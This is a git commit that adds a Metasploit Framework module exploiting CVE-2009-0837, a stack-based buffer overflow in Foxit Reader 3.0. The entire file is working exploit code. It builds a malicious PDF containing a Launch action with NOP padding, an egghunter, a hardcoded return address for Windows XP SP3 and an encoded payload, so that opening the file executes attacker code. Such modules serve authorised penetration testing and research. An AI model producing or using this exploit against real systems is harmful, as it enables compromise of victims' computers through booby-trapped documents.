Adds Foxit PDF Reader Exploit CVE-2009-0837

git-svn-id: file:///home/svn/framework3/trunk@14069 4d416f70-5f16-0410-b530-b9f4589650da
2011-10-25 20:15:12 +00:00 · 2011-10-25 20:15:12 +00:00 · 086af94b5d
parent a0d8a08851
commit 086af94b5d
1 changed files with 113 additions and 0 deletions
--- a/modules/exploits/windows/fileformat/foxit_pdf_action_bof.rb
+++ b/modules/exploits/windows/fileformat/foxit_pdf_action_bof.rb
@ -0,0 +1,113 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'zlib'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::PDF
+	include Msf::Exploit::Egghunter
+	
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack based buffer overflow in Foxit Reader 3.0 builds 1301 and earlier. 
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'bannedit', # Metasploit module
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE' , '2009-0837' ],
+					[ 'OSVDB', '55614' ],
+					[ 'BID', '34035'],
+					[ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities'],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+					'DisablePayloadHandler' => 'true',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 316,
+					'BadChars'      => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Foxit Reader 3.0 Windows XP SP3', { 'Ret' =>  0x01847e7a} ], # ebp + offset 
+				],
+			'DisclosureDate' => 'Mar 09 2009',
+			'DefaultTarget'  => 0))
+
+		register_options([
+			OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
+		], self.class)
+
+	end
+
+	def exploit
+		pdf = make_pdf
+		file_create(pdf)
+		handler
+	end
+
+	def make_pdf
+		hunter, egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
+
+		action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
+		action << make_nops(21)
+		action << hunter
+		action << rand_text_alpha(1270)
+		action << [target['Ret']].pack('V') * 2
+		action << egg
+		action << ")>>/NewWindow true>>"
+
+		pdf =  "%PDF-1.4\n"
+		pdf << "1 0 obj\n"
+		pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
+		pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
+		pdf << "/Annots[ 24 0 R  25 0 R  9 0 R ]>>\n"
+		pdf << "endobj\n"
+		pdf << "4 0 obj\n"
+		pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
+		pdf << "endobj\n"
+		pdf << "7 0 obj\n"
+		pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
+		pdf << "endobj\n"
+		pdf << "9 0 obj\n"
+		pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
+		pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
+		pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
+		pdf << "endobj\n"
+		pdf << "16 0 obj\n"
+		pdf << action
+		pdf << "endobj\n"
+		pdf << "17 0 obj\n"
+		pdf << "<</PV 16 0 R >>\n"
+		pdf << "endobj\n"
+		pdf << "trailer\n"
+		pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
+		pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
+		pdf << "startxref\n"
+		pdf << "0000\n"
+		pdf << "%%EOF\n"
+		pdf
+	end
+end